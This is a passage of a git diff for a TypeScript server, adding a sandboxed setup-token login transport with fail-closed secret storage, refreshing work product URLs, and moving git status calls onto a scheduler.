--- /dev/null
+++ b/server/src/services/setup-token-transport-binding.ts
@@ -0,0 +1,613 @@
+// The production transport binding for the Claude setup-token login session.
+//
+// The session service (`setup-token-session.ts`) drives the login flow over
+// three injected components: a lease manager, a login-process factory, and a
+// durable cleanup store. The router (`agents.ts`) accepts these components as an
+// optional `setupTokenLogin` transport and falls back to a deferred, fail-closed
+// default when a caller omits it. This module builds the production transport, so
+// `app.ts` binds it one time at startup.
+//
+// The binding passes only the fixed command `CLAUDE_SETUP_TOKEN_COMMAND` to the
+// login runner. It never accepts a command from a route, a request
+// body, or an adapter configuration.
+//
+// The live pseudo-terminal opener is a separate seam. The Daytona sandbox
+// provider runs as a plugin worker, so the server process does not hold the raw
+// sandbox process. The real opener binds inside the worker; this module accepts
+// it through `openLivePtySession`. A test injects a fake sandbox opener to drive
+// the full session path. The live opener lands with the characterization
+// test against a real sandbox.
+
+import {
+  SetupTokenSessionError,
+  SETUP_TOKEN_START_FAILED,
+  SETUP_TOKEN_STORAGE_FAILED,
+  createDbSetupTokenCleanupStore,
+  transitionSetupTokenSessionToStored,
+  type SetupTokenCleanupStore,
+  type SetupTokenLease,
+  type SetupTokenLeaseManager,
+  type SetupTokenLoginOutcome,
+  type SetupTokenLoginProcess,
+  type SetupTokenLoginProcessFactory,
+  type SetupTokenSecretWriter,
+  type SetupTokenSessionScope,
+} from "./setup-token-session.js";
+import { secretService } from "./secrets.js";
+import type { environmentService } from "./environments.js";
+import type { environmentRuntimeService } from "./environment-runtime.js";
+import { buildLoginLeaseAcquireArgs } from "./adapter-login-lease.js";
+import type { Db } from "@paperclipai/db";
+import {
+  createSetupTokenPtyTransport,
+  type SetupTokenPtySession,
+  type SetupTokenPtySessionOpener,
+} from "@paperclipai/adapter-utils/setup-token-transport";
+import {
+  runSetupTokenLogin,
+  CLAUDE_SETUP_TOKEN_COMMAND,
+} from "@paperclipai/adapter-claude-local/server";
+
+/**
+ * The sandbox provider for one login session. It acquires a fresh sandbox lease
+ * and returns the lease id plus the pseudo-terminal opener bound to that lease's
+ * process. It releases the lease by id. The production provider wraps the
+ * environment runtime. A test injects a fake provider.
+ */
+export interface SetupTokenSandboxProvider {
+  /**
+   * Acquires a fresh sandbox lease for a login session. It returns the lease id
+   * and the pseudo-terminal opener bound to the acquired lease's process. It
+   * throws a fail-closed error when it cannot acquire the lease or bind the
+   * opener; the caller then returns the fixed start error.
+   */
+  acquire(input: {
+    scope: SetupTokenSessionScope;
+    deadline: number;
+  }): Promise<{ leaseId: string; openPtySession: SetupTokenPtySessionOpener }>;
+  /** Releases the lease by id. The service and the startup reaper call it. */
+  release(leaseId: string): Promise<void>;
+}
+
+/** The dependencies the production transport binding needs. */
+export interface SetupTokenLoginTransportDeps {
+  /** The sandbox provider. The production provider wraps the environment runtime. */
+  sandbox: SetupTokenSandboxProvider;
+  /** The durable cleanup store. Defaults to the database-backed store over `db`. */
+  store: SetupTokenCleanupStore;
+  /**
+   * The owner-bound secret writer. The binding forwards it to the router, so a
+   * completed login stores the minted token in the secret store. When a caller
+   * omits it, the router keeps its deferred, fail-closed writer.
+   */
+  completeCredential?: SetupTokenSecretWriter;
+  /** A non-leaking status sink. It receives only fixed status lines. */
+  log?: (line: string) => void;
+}
+
+/**
+ * The production transport the router binds through `options.setupTokenLogin`. It
+ * carries the live lease manager, the login-process factory, the durable cleanup
+ * store, and the owner-bound secret writer. The router uses the writer for the
+ * final secret write; when the binding omits it, the router keeps its deferred,
+ * fail-closed writer.
+ */
+export interface SetupTokenLoginTransportBinding {
+  factory: SetupTokenLoginProcessFactory;
+  leases: SetupTokenLeaseManager;
+  store: SetupTokenCleanupStore;
+  completeCredential?: SetupTokenSecretWriter;
+}
+
+/**
+ * The narrow secret-completion surface the production writer needs. The secrets
+ * service exposes `completeClaudeOAuthUserSecret` as the owner-bound
+ * compare-and-set for the Claude Code OAuth value. The writer forwards only the
+ * scope owner, the session id, the mode, and the token to it.
+ */
+export interface SetupTokenSecretCompletion {
+  completeClaudeOAuthUserSecret(
+    companyId: string,
+    ownerUserId: string,
+    input: {
+      sessionId: string;
+      mode: "first_write" | "confirmed_rotation";
+      value: string;
+      expectedSecretId?: string | null;
+      expectedLatestVersion?: number | null;
+    },
+    actor?: { userId?: string | null; agentId?: string | null },
+  ): Promise<unknown>;
+}
+
+/** The owner-bound compare-and-set input the secrets service consumes. */
+export type ClaudeOAuthWriteInput =
+  | { sessionId: string; mode: "first_write"; value: string }
+  | {
+      sessionId: string;
+      mode: "confirmed_rotation";
+      value: string;
+      expectedSecretId: string;
+      expectedLatestVersion: number;
+    };
+
+/**
+ * Maps the session writer input to the secrets service compare-and-set input. The
+ * session scope selects the mode. A scope with no overwrite capture writes with
+ * `mode: "first_write"`, so the login creates the first owner value only. A scope
+ * that carries the confirmed-overwrite capture writes with
+ * `mode: "confirmed_rotation"`, so the login rotates the stored value under the
+ * captured `expectedSecretId` and `expectedLatestVersion`. The overwrite capture
+ * carries no owner; the owner still comes from the scope.
+ */
+export function buildClaudeOAuthWriteInput(
+  scope: SetupTokenSessionScope,
+  sessionId: string,
+  token: string,
+): ClaudeOAuthWriteInput {
+  const overwrite = scope.confirmedOverwrite ?? null;
+  return overwrite
+    ? {
+        sessionId,
+        mode: "confirmed_rotation",
+        value: token,
+        expectedSecretId: overwrite.expectedSecretId,
+        expectedLatestVersion: overwrite.expectedLatestVersion,
+      }
+    : { sessionId, mode: "first_write", value: token };
+}
+
+/**
+ * Builds the production atomic credential-claim writer for the login session. It
+ * runs one control-plane transaction. Inside the transaction it first transitions
+ * the exact durable session row to `stored` with a full-scope conditional update,
+ * then writes or rotates the owner-bound secret on the same transaction handle.
+ * The commit establishes the encrypted secret and the `stored` claim together, so
+ * a crash between the two steps cannot leave a stored token with no valid claim.
+ *
+ * A zero-row transition means no claimable row exists in this scope. The writer
+ * rolls back and rejects with the fixed, non-secret storage error, so the session
+ * marks the login failed. A storage failure rejects and rolls back the whole
+ * transaction, so neither the secret nor the claim commits. A concurrent change
+ * fails the compare-and-set with the fixed stale conflict, so the write leaves no
+ * partial state.
+ *
+ * It reads the company and the owner only from the immutable session scope, so a
+ * request cannot redirect the write to another owner. It never logs
+ * the token and never puts the token in an error; it lets the secrets service
+ * error propagate unchanged, and the session maps a rejection to the fixed,
+ * non-secret storage error.
+ */
+export function createSetupTokenSecretWriter(deps: {
+  db: Db;
+  /**
+   * Builds the transaction-bound owner-bound completion. It defaults to
+   * `secretService(tx)`, so the compare-and-set runs on the passed transaction
+   * handle. A test injects a fake to force a storage failure after the transition.
+   */
+  completionForTx?: (tx: Db) => SetupTokenSecretCompletion;
+}): SetupTokenSecretWriter {
+  const completionForTx = deps.completionForTx ?? ((tx) => secretService(tx));
+  return async ({ scope, sessionId, token }) => {
+    const input = buildClaudeOAuthWriteInput(scope, sessionId, token);
+    await deps.db.transaction(async (tx) => {
+      const txDb = tx as unknown as Db;
+      // Step 1: lock and conditionally transition the exact durable row to
+      // `stored`. The predicate matches the full scope, an allowed predecessor
+      // state, an unexpired deadline, and an unconsumed claim. It requires exactly
+      // one returned row.
+      const transitioned = await transitionSetupTokenSessionToStored(txDb, {
+        sessionId,
+        companyId: scope.companyId,
+        ownerUserId: scope.ownerUserId,
+        adapterType: scope.adapterType,
+      });
+      if (!transitioned) {
+        // Zero-row result: roll back the whole transaction. The session then marks
+        // the login failed and returns the fixed no-secret error.
+        throw new SetupTokenSessionError(500, SETUP_TOKEN_STORAGE_FAILED);
+      }
+      // Step 2: write or rotate the secret on the same transaction handle. A
+      // failure here rolls back the transition too, so the commit is all-or-none.
+      await completionForTx(txDb).completeClaudeOAuthUserSecret(
+        scope.companyId,
+        scope.ownerUserId,
+        input,
+        { userId: scope.ownerUserId },
+      );
+    });
+  };
+}
+
+/** The immutable scope key that correlates one acquire with one factory call. It
+ *  is the company, the owner, and the adapter, so it matches the active-slot
+ *  scope. The per-slot session cap is one, so one scope holds one live acquire. */
+function scopeKey(scope: SetupTokenSessionScope): string {
+  return [scope.companyId, scope.ownerUserId, scope.adapterType].join("\u0000");
+}
+
+/**
+ * Builds the production setup-token login transport. The lease manager acquires a
+ * sandbox lease through the injected provider and hands the pseudo-terminal
+ * opener to the factory. The factory drives the login runner over the transport
+ * and passes only the fixed command. The lease manager releases the lease on
+ * every terminal path, so the service runs its cleanup against the durable store.
+ */
+export function buildSetupTokenLoginTransport(
+  deps: SetupTokenLoginTransportDeps,
+): SetupTokenLoginTransportBinding {
+  // The binding fixes the login command. It never reads a command from a route, a
+  // request body, an adapter configuration, or the dependency object, so a
+  // runtime-supplied value cannot change the pseudo-terminal command.
+  const command = CLAUDE_SETUP_TOKEN_COMMAND;
+  const log = deps.log ?? (() => {});
+
+  // The pseudo-terminal opener that one acquire hands to the next factory call.
+  // The service calls `leases.acquire` and then `factory` in sequence for one
+  // session, so a per-scope handoff correlates them. The per-owner session cap is
+  // one, so one scope holds at most one live acquire.
+  const pendingOpeners = new Map<string, { leaseId: string; openPtySession: SetupTokenPtySessionOpener }>();
+  // The reverse map releases a handoff by lease id when the factory never
+  // consumes it (a factory error path).
+  const leaseScopeKeys = new Map<string, string>();
+
+  const leases: SetupTokenLeaseManager = {
+    async acquire({ scope, deadline }): Promise<SetupTokenLease> {
+      const acquired = await deps.sandbox.acquire({ scope, deadline });
+      const key = scopeKey(scope);
+      pendingOpeners.set(key, acquired);
+      leaseScopeKeys.set(acquired.leaseId, key);
+      return { id: acquired.leaseId };
+    },
+    async release(lease): Promise<void> {
+      dropHandoff(lease.id);
+      await deps.sandbox.release(lease.id);
+    },
+    async releaseById(leaseId): Promise<void> {
+      dropHandoff(leaseId);
+      await deps.sandbox.release(leaseId);
+    },
+  };
+
+  function dropHandoff(leaseId: string): void {
+    const key = leaseScopeKeys.get(leaseId);
+    if (key !== undefined) {
+      const pending = pendingOpeners.get(key);
+      if (pending && pending.leaseId === leaseId) pendingOpeners.delete(key);
+      leaseScopeKeys.delete(leaseId);
+    }
+  }
+
+  const factory: SetupTokenLoginProcessFactory = ({ scope, onPrompt, onCredential, timeoutMs, signal }): SetupTokenLoginProcess => {
+    const key = scopeKey(scope);
+    const pending = pendingOpeners.get(key);
+    if (!pending) {
+      // The lease manager did not hand off an opener for this scope. Fail closed.
+      throw new SetupTokenSessionError(503, SETUP_TOKEN_START_FAILED);
+    }
+    pendingOpeners.delete(key);
+    leaseScopeKeys.delete(pending.leaseId);
+
+    const transport = createSetupTokenPtyTransport(pending.openPtySession);
+
+    // Bridge the browser code. The service calls `submitCode` one time after the
+    // single `awaiting_code` transition wins. The runner calls `provideCode` one
+    // time after it surfaces the prompt. A resolved promise hands the code from
+    // the service call to the runner call.
+    let deliverCode: ((code: string) => void) | null = null;
+    const codeReady = new Promise<string>((resolve, reject) => {
+      deliverCode = resolve;
+      // A cancel or an expiry aborts the signal. Reject the pending code, so the
+      // runner stops waiting and ends the run.
+      if (signal.aborted) {
+        reject(new SetupTokenSessionError(499, SETUP_TOKEN_START_FAILED));
+        return;
+      }
+      signal.addEventListener(
+        "abort",
+        () => reject(new SetupTokenSessionError(499, SETUP_TOKEN_START_FAILED)),
+        { once: true },
+      );
+    });
+    // The runner rejects the run when `provideCode` rejects. Consume the pending
+    // rejection here too, so it never becomes an unhandled rejection when the
+    // runner ends on the timeout or the signal before it reads the code.
+    codeReady.catch(() => {});
+
+    const done: Promise<SetupTokenLoginOutcome> = runSetupTokenLogin(transport, {
+      command,
+      timeoutMs,
+      signal,
+      onPrompt: (prompt) => onPrompt({ url: prompt.url }),
+      provideCode: () => codeReady,
+      onCredential: async (authBytes) => {
+        // Forward the minted token to the owner-bound secret write. The service
+        // holds the token only for this call and never stores it.
+        await onCredential(authBytes.toString("utf8"));
+      },
+      log,
+    }).then((result) => result.outcome);
+
+    return {
+      done,
+      submitCode(code): void {
+        deliverCode?.(code);
+      },
+      stop(): void {
+        // Stop the direct child. The service releases the lease after this call.
+        transport.stop();
+      },
+    };
+  };
+
+  return { factory, leases, store: deps.store, completeCredential: deps.completeCredential };
+}
+
+/** The dependencies the production sandbox provider needs. */
+export interface ProductionSetupTokenSandboxProviderDeps {
+  environments: Pick<ReturnType<typeof environmentService>, "getById" | "getLeaseById" | "releaseLease">;
+  environmentRuntime: Pick<ReturnType<typeof environmentRuntimeService>, "acquireRunLease" | "getDriver">;
+  /**
+   * Opens the live pseudo-terminal for the acquired lease. The Daytona provider
+   * runs as a plugin worker, so the real opener binds `sandbox.process` inside
+   * the worker. When a caller omits it, the provider fails closed before it
+   * acquires a lease, and the live path lands with the characterization
+   * test.
+   */
+  openLivePtySession?: (input: {
+    scope: SetupTokenSessionScope;
+    environmentId: string;
+    leaseId: string;
+  }) => Promise<SetupTokenPtySessionOpener>;
+  /** A non-leaking status sink. It receives only fixed status lines. */
+  log?: (line: string) => void;
+}
+
+/**
+ * Builds the production sandbox provider over the environment runtime. It
+ * acquires a fresh sandbox lease for one login session, binds the live
+ * pseudo-terminal opener to that lease, and releases the lease by id. It fails
+ * closed for a local environment, an SSH environment, or a missing live opener.
+ */
+export function createProductionSetupTokenSandboxProvider(
+  deps: ProductionSetupTokenSandboxProviderDeps,
+): SetupTokenSandboxProvider {
+  const log = deps.log ?? (() => {});
+  // The acquired lease records, keyed by lease id. The provider releases a lease
+  // through its driver. The startup reaper releases a lease by id after a
+  // restart, when this map is empty; the provider then falls back to a direct
+  // database release.
+  const leaseRecords = new Map<
+    string,
+    Awaited<ReturnType<ReturnType<typeof environmentRuntimeService>["acquireRunLease"]>>
+  >();
+
+  const failClosed = (): never => {
+    throw new SetupTokenSessionError(503, SETUP_TOKEN_START_FAILED);
+  };
+
+  return {
+    async acquire({ scope, deadline }) {
+      const environment = await deps.environments.getById(scope.environmentId);
+      if (!environment) {
+        log("[paperclip] Setup-token login: the selected environment is not found.");
+        return failClosed();
+      }
+      if (environment.driver === "local" || environment.driver === "ssh") {
+        // The login pseudo-terminal needs a sandbox. A local or an SSH
+        // environment has no sandbox process to run the login command in.
+        log("[paperclip] Setup-token login: the selected environment has no sandbox.");
+        return failClosed();
+      }
+      if (!deps.openLivePtySession) {
+        // The live sandbox pseudo-terminal opener is not bound yet. Fail closed
+        // before the acquire, so the login holds no lease. The live opener lands
+        // with the characterization test against a real sandbox.
+        log(
+          "[paperclip] Setup-token login: the live sandbox pseudo-terminal transport is not bound.",
+        );
+        return failClosed();
+      }
+
+      const leaseRecord = await deps.environmentRuntime.acquireRunLease(
+        buildLoginLeaseAcquireArgs({
+          metadata: {
+            companyId: scope.companyId,
+            environment,
+            adapterType: scope.adapterType,
+          },
+          // The setup-token login is company-and-environment scoped. It carries
+          // no target agent, so the lease binds no agent.
+          targetAgentId: null,
+          // Re-check the environment company binding inside the lease insert
+          // transaction. The route guard ran earlier, so a managed
+          // reconciliation can bind this sandbox to another company between the
+          // guard and this acquire. The lease insert then rejects a
+          // foreign-company environment with the 403
+          // `environment_company_mismatch` and holds no lease.
+          assertCompanyBinding: true,
+          // Bound the lease expiry to the session deadline. The runtime records
+          // the earlier of this deadline and the provider expiry on the lease
+          // row.
+          requestedExpiresAt: new Date(deadline),
+        }),
+      );
+      const leaseId = leaseRecord.lease.id;
+      leaseRecords.set(leaseId, leaseRecord);
+
+      // Enforce an independent, provider-backed expiry at or before the session
+      // deadline. A crash or an outage stops the in-process cleanup, so the
+      // lease row must carry a durable expiry that a lease reaper acts on. When
+      // the acquired lease has no expiry, an invalid expiry, or an expiry after
+      // the deadline, the server cannot guarantee the hard stop. Release the
+      // remote lease and fail closed, so the login holds no lease and leaves no
+      // durable cleanup row.
+      const expiresAt = leaseRecord.lease.expiresAt;
+      const expiresAtMs = expiresAt instanceof Date ? expiresAt.getTime() : Number.NaN;
+      if (!Number.isFinite(expiresAtMs) || expiresAtMs > deadline) {
+        await this.release(leaseId);
+        log("[paperclip] Setup-token login: the acquired lease expiry does not bound the session deadline.");
+        return failClosed();
+      }
+
+      try {
+        const openPtySession = await deps.openLivePtySession({
+          scope,
+          environmentId: scope.environmentId,
+          leaseId,
+        });
+        return { leaseId, openPtySession };
+      } catch (err) {
+        // The opener bind failed. Release the lease and fail closed, so the login
+        // holds no lease.
+        await this.release(leaseId);
+        log("[paperclip] Setup-token login: the live pseudo-terminal bind failed.");
+        void err;
+        return failClosed();
+      }
+    },
+
+    async release(leaseId) {
+      const leaseRecord = leaseRecords.get(leaseId);
+      if (leaseRecord) {
+        leaseRecords.delete(leaseId);
+        const driver = deps.environmentRuntime.getDriver(leaseRecord.environment.driver);
+        if (driver) {
+          await driver.releaseRunLease({
+            environment: leaseRecord.environment,
+            lease: leaseRecord.lease,
+            status: "released",
+          });
+          return;
+        }
+      }
+      // A restart cleared the in-memory record. Release the lease through the
+      // provider driver, not only the database row, so the release tears down the
+      // remote sandbox that holds the login state.
+      await releaseLeaseById(leaseId);
+    },
+  };
+
+  /**
+   * Releases a lease by id after a restart, when the in-memory record is gone. It
+   * resolves the stored lease and its environment, then releases the lease through
+   * the provider driver, so the release tears down the remote sandbox and not only
+   * the database row. It fails loud when it resolves a live lease that it cannot
+   * release, so the reaper keeps the durable cleanup record and retries it. It
+   * returns without an error only when the lease row is already gone, because then
+   * no sandbox remains to release.
+   */
+  async function releaseLeaseById(leaseId: string): Promise<void> {
+    const lease = await deps.environments.getLeaseById(leaseId);
+    if (!lease) {
+      // The lease row is already gone. No remote sandbox remains to release, so
+      // the release is idempotent and the reaper may drop the cleanup record.
+      return;
+    }
+    const environment = lease.environmentId
+      ? await deps.environments.getById(lease.environmentId)
+      : null;
+    if (!environment) {
+      // The lease resolves but its environment is gone, so no driver can tear down
+      // the remote sandbox. Fail loud, so the reaper keeps the cleanup record.
+      log("[paperclip] Setup-token login: the lease environment is not found for a restart release.");
+      return failClosed();
+    }
+    const driver = deps.environmentRuntime.getDriver(environment.driver);
+    if (!driver) {
+      // No driver resolves the remote sandbox. Fail loud, so the reaper keeps the
+      // cleanup record and retries the release.
+      log("[paperclip] Setup-token login: no driver resolves the lease for a restart release.");
+      return failClosed();
+    }
+    await driver.releaseRunLease({ environment, lease, status: "released" });
+  }
+}
+
+/** Builds the durable, database-backed cleanup store for the production binding. */
+export function createProductionSetupTokenCleanupStore(db: Db): SetupTokenCleanupStore {
+  return createDbSetupTokenCleanupStore(db);
+}
+
+/**
+ * The narrow plugin worker manager surface the live opener needs. The manager
+ * owns the host route gate: it mints the host route identifier,
+ * reserves one route per worker, drives the open, binds the worker session
+ * identifier one time, routes output, and terminalizes the route.
+ */
+export interface SetupTokenPtyWorkerManagerLike {
+  openSetupTokenPtySession(
+    pluginId: string,
+    input: {
+      driverKey: string;
+      companyId: string;
+      environmentId: string;
+      providerLeaseId: string;
+      command: string;
+    },
+  ): Promise<SetupTokenPtySession>;
+}
+
+/** The narrow lease-lookup surface the live opener needs. */
+export interface SetupTokenPtyLeaseLookup {
+  getLeaseById(leaseId: string): Promise<
+    | {
+        providerLeaseId: string | null;
+        metadata: Record<string, unknown> | null | undefined;
+      }
+    | null
+  >;
+}
+
+/** The dependencies the worker-bound live pseudo-terminal opener needs. */
+export interface WorkerBoundSetupTokenPtyOpenerDeps {
+  /** The plugin worker manager that owns the host route gate. */
+  workerManager: SetupTokenPtyWorkerManagerLike;
+  /** The environment lease lookup that resolves the worker target for a lease. */
+  environments: SetupTokenPtyLeaseLookup;
+  /** A non-leaking status sink. It receives only fixed status lines. */
+  log?: (line: string) => void;
+}
+
+function readLeaseMetaString(value: unknown): string | null {
+  return typeof value === "string" && value.trim().length > 0 ? value.trim() : null;
+}
+
+/**
+ * Builds the production `openLivePtySession`. It resolves the server lease to its
+ * `providerLeaseId` and the sandbox worker plugin id, then returns an opener that
+ * drives the worker through the manager route gate. The manager mints the host
+ * route identifier and owns the route lifecycle. The opener fails closed when the
+ * lease carries no sandbox worker binding.
+ */
+export function createWorkerBoundSetupTokenPtyOpener(
+  deps: WorkerBoundSetupTokenPtyOpenerDeps,
+): NonNullable<ProductionSetupTokenSandboxProviderDeps["openLivePtySession"]> {
+  const log = deps.log ?? (() => {});
+  return async ({ scope, environmentId, leaseId }) => {
+    const lease = await deps.environments.getLeaseById(leaseId);
+    const providerLeaseId =
+      typeof lease?.providerLeaseId === "string" && lease.providerLeaseId.length > 0
+        ? lease.providerLeaseId
+        : null;
+    const metadata =
+      lease && typeof lease.metadata === "object" && lease.metadata !== null
+        ? (lease.metadata as Record<string, unknown>)
+        : {};
+    const pluginId = readLeaseMetaString(metadata.pluginId);
+    const driverKey =
+      readLeaseMetaString(metadata.provider) ?? readLeaseMetaString(metadata.driver);
+    if (!providerLeaseId || !pluginId || !driverKey) {
+      log("[paperclip] Setup-token login: the lease carries no sandbox worker binding.");
+      throw new SetupTokenSessionError(503, SETUP_TOKEN_START_FAILED);
+    }
+    return (command: string) =>
+      deps.workerManager.openSetupTokenPtySession(pluginId, {
+        driverKey,
+        companyId: scope.companyId,
+        environmentId,
+        providerLeaseId,
+        command,
+      });
+  };
+}
diff --git a/server/src/services/task-watchdogs.ts b/server/src/services/task-watchdogs.ts
index 44a95f0490b..154df0bb19a 100644
--- a/server/src/services/task-watchdogs.ts
+++ b/server/src/services/task-watchdogs.ts
@@ -710,7 +710,7 @@ function watchdogWakeContext(input: {
           "reassign_watched_subtree_issues",
           "create_child_issues_under_non_watchdog_watched_subtree",
           "create_product_bug_followups_outside_watched_subtree",
-          "resolve_eligible_request_confirmation_plan_interactions",
+          "resolve_issue_thread_interactions_through_ordinary_audience_policy",
           "update_reusable_watchdog_issue",
         ],
         deniedOperations: [
@@ -718,7 +718,7 @@ function watchdogWakeContext(input: {
           "create_product_bug_followups_as_source_tree_children",
           "mutate_task_watchdog_descendants",
           "mutate_outside_watched_subtree",
-          "resolve_board_only_or_security_sensitive_approvals",
+          "resolve_human_only_interactions_or_security_sensitive_approvals",
           "create_nested_task_watchdogs",
         ],
       },
diff --git a/server/src/services/work-products.ts b/server/src/services/work-products.ts
index 55d2a8c714d..8266a5174a0 100644
--- a/server/src/services/work-products.ts
+++ b/server/src/services/work-products.ts
@@ -1,6 +1,6 @@
-import { and, desc, eq } from "drizzle-orm";
+import { and, desc, eq, inArray } from "drizzle-orm";
 import type { Db } from "@paperclipai/db";
-import { issueWorkProducts } from "@paperclipai/db";
+import { issueWorkProducts, workspaceRuntimeServices } from "@paperclipai/db";
 import type { IssueWorkProduct } from "@paperclipai/shared";
 import { insertRowsInChunks } from "./batch-insert.js";
 import type { ImportIssueWorkProductRow } from "./import-write-types.js";
@@ -33,6 +33,44 @@ function toIssueWorkProduct(row: IssueWorkProductRow): IssueWorkProduct {
   };
 }
 
+/**
+ * Refresh runtime-service work products from the live runtime rows they point at
+ * (PAP-17572).
+ *
+ * A runtime URL is only valid for as long as the process holds that port. A
+ * managed restart can relocate it, which used to leave a user-facing preview link
+ * that answers with somebody else's service or nothing at all. The runtime row is
+ * the authoritative publication record, so it wins over the stored copy.
+ *
+ * Read-path only and deliberately non-destructive: a work product whose runtime
+ * row is gone keeps its recorded URL and is reported unhealthy rather than
+ * silently blanked, so the history of what was published survives.
+ */
+export function reconcileRuntimeServiceWorkProducts(
+  products: IssueWorkProduct[],
+  liveRuntimeServices: Array<{
+    id: string;
+    url: string | null;
+    status: string;
+    healthStatus: string;
+  }>,
+): IssueWorkProduct[] {
+  if (products.length === 0) return products;
+  const liveById = new Map(liveRuntimeServices.map((service) => [service.id, service]));
+  return products.map((product) => {
+    if (product.type !== "runtime_service" || !product.runtimeServiceId) return product;
+    const live = liveById.get(product.runtimeServiceId);
+    if (!live) {
+      return product.healthStatus === "unhealthy" ? product : { ...product, healthStatus: "unhealthy" };
+    }
+    const isServing = live.status === "running" && live.healthStatus === "healthy";
+    const url = live.url ?? product.url;
+    const healthStatus: IssueWorkProduct["healthStatus"] = isServing ? "healthy" : "unhealthy";
+    if (product.url === url && product.healthStatus === healthStatus) return product;
+    return { ...product, url, healthStatus };
+  });
+}
+
 export function workProductService(db: Db) {
   return {
     listForIssue: async (issueId: string) => {
@@ -41,7 +79,21 @@ export function workProductService(db: Db) {
         .from(issueWorkProducts)
         .where(eq(issueWorkProducts.issueId, issueId))
         .orderBy(desc(issueWorkProducts.isPrimary), desc(issueWorkProducts.updatedAt));
-      return rows.map(toIssueWorkProduct);
+      const products = rows.map(toIssueWorkProduct);
+      const runtimeServiceIds = products
+        .map((product) => (product.type === "runtime_service" ? product.runtimeServiceId : null))
+        .filter((value): value is string => Boolean(value));
+      if (runtimeServiceIds.length === 0) return products;
+      const liveRuntimeServices = await db
+        .select({
+          id: workspaceRuntimeServices.id,
+          url: workspaceRuntimeServices.url,
+          status: workspaceRuntimeServices.status,
+          healthStatus: workspaceRuntimeServices.healthStatus,
+        })
+        .from(workspaceRuntimeServices)
+        .where(inArray(workspaceRuntimeServices.id, [...new Set(runtimeServiceIds)]));
+      return reconcileRuntimeServiceWorkProducts(products, liveRuntimeServices);
     },
 
     getById: async (id: string) => {
diff --git a/server/src/services/workspace-file-resources.ts b/server/src/services/workspace-file-resources.ts
index 546d7357c3a..5f11afa72d6 100644
--- a/server/src/services/workspace-file-resources.ts
+++ b/server/src/services/workspace-file-resources.ts
@@ -1,7 +1,5 @@
-import { execFile } from "node:child_process";
 import fs from "node:fs/promises";
 import path from "node:path";
-import { promisify } from "node:util";
 import { and, desc, eq, inArray, isNull } from "drizzle-orm";
 import type { Db } from "@paperclipai/db";
 import { executionWorkspaces, issues, projects, projectWorkspaces } from "@paperclipai/db";
@@ -20,6 +18,11 @@ import type {
   WorkspaceFileWorkspaceKind,
 } from "@paperclipai/shared";
 import { HttpError, notFound, unprocessable } from "../errors.js";
+import {
+  isWorkspaceGitScanError,
+  WORKSPACE_GIT_SCAN_ERROR_CODES,
+  workspaceGitOperationScheduler,
+} from "./workspace-git-operation-scheduler.js";
 
 export const WORKSPACE_FILE_TEXT_MAX_BYTES = 512 * 1024;
 export const WORKSPACE_FILE_MEDIA_MAX_BYTES = 10 * 1024 * 1024;
@@ -31,9 +34,13 @@ const MAX_RELATIVE_PATH_BYTES = 4096;
 const TEXT_SNIFF_BYTES = 4096;
 const MAX_LIST_DEPTH = 20;
 const GIT_STATUS_MAX_BUFFER_BYTES = 1024 * 1024;
-const execFileAsync = promisify(execFile);
 const LOCAL_PROJECT_WORKSPACE_SOURCE_TYPES = new Set(["local_path", "non_git_path", "git_repo", "git_worktree"]);
 
+export interface WorkspaceFileScanContext {
+  signal?: AbortSignal;
+  fairnessKeys?: readonly string[];
+}
+
 const DENIED_SEGMENTS = new Set([
   ".git",
   ".paperclip",
@@ -976,16 +983,29 @@ async function listChangedWorkspaceFiles(input: {
   normalizedQuery: string | null;
   limit: number;
   offset: number;
+  scanContext?: WorkspaceFileScanContext;
 }) {
   let stdout: string;
   try {
-    const result = await execFileAsync(
-      "git",
-      ["-C", input.rootReal, "status", "--porcelain=v1", "-z", "--untracked-files=all"],
-      { maxBuffer: GIT_STATUS_MAX_BUFFER_BYTES },
-    );
+    const result = await workspaceGitOperationScheduler.run({
+      workspacePath: input.rootReal,
+      args: ["status", "--porcelain=v1", "-z", "--untracked-files=all"],
+      operation: "workspace_file_browser.changed_files",
+      fairnessKeys: input.scanContext?.fairnessKeys,
+      signal: input.scanContext?.signal,
+      maxStdoutBytes: GIT_STATUS_MAX_BUFFER_BYTES,
+      maxStderrBytes: GIT_STATUS_MAX_BUFFER_BYTES,
+      // The shared scheduler defaults this to ten seconds. This deliberately
+      // trades a few seconds of freshness for protection from tab/refetch bursts.
+    });
     stdout = result.stdout;
-  } catch {
+  } catch (error) {
+    if (
+      isWorkspaceGitScanError(error) &&
+      error.code !== WORKSPACE_GIT_SCAN_ERROR_CODES.failed
+    ) {
+      throw error;
+    }
     return { unavailableReason: "changed_unavailable" as const };
   }
 
@@ -1367,7 +1387,7 @@ export function workspaceFileResourceService(db: Db) {
   async function list(
     issueId: string,
     input: WorkspaceFileListQueryInput = {},
-    opts: { issue?: IssueRow } = {},
+    opts: { issue?: IssueRow; scanContext?: WorkspaceFileScanContext } = {},
   ): Promise<WorkspaceFileListResponse> {
     const issue = opts.issue ?? await getIssue(issueId);
     const selector = input.workspace ?? "auto";
@@ -1442,7 +1462,14 @@ export function workspaceFileResourceService(db: Db) {
       }
 
       if (mode === "changed") {
-        const changed = await listChangedWorkspaceFiles({ candidate, rootReal, normalizedQuery, limit, offset });
+        const changed = await listChangedWorkspaceFiles({
+          candidate,
+          rootReal,
+          normalizedQuery,
+          limit,
+          offset,
+          scanContext: opts.scanContext,
+        });
         if ("unavailableReason" in changed) {
           const reason = changed.unavailableReason ?? "changed_unavailable";
           firstUnavailable ??= { candidate, reason };
diff --git a/server/src/services/workspace-git-operation-scheduler.test.ts b/server/src/services/workspace-git-operation-scheduler.test.ts
new file mode 100644
index 00000000000..abd9a36930d
--- /dev/null
+++ b/server/src/services/workspace-git-operation-scheduler.test.ts
@@ -0,0 +1,431 @@
+import fs from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import {
+  createWorkspaceGitOperationScheduler,
+  WORKSPACE_GIT_SCAN_ERROR_CODES,
+  WorkspaceGitScanError,
+  workspaceGitSchedulerOptionsFromEnv,
+  type WorkspaceGitRunner,
+} from "./workspace-git-operation-scheduler.js";
+
+const tempPaths: string[] = [];
+
+async function makeWorkspace(name = "workspace"): Promise<string> {
+  const parent = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-git-scheduler-"));
+  tempPaths.push(parent);
+  const workspace = path.join(parent, name);
+  await fs.mkdir(workspace, { recursive: true });
+  return workspace;
+}
+
+function deferred<T = void>() {
+  let resolve!: (value: T | PromiseLike<T>) => void;
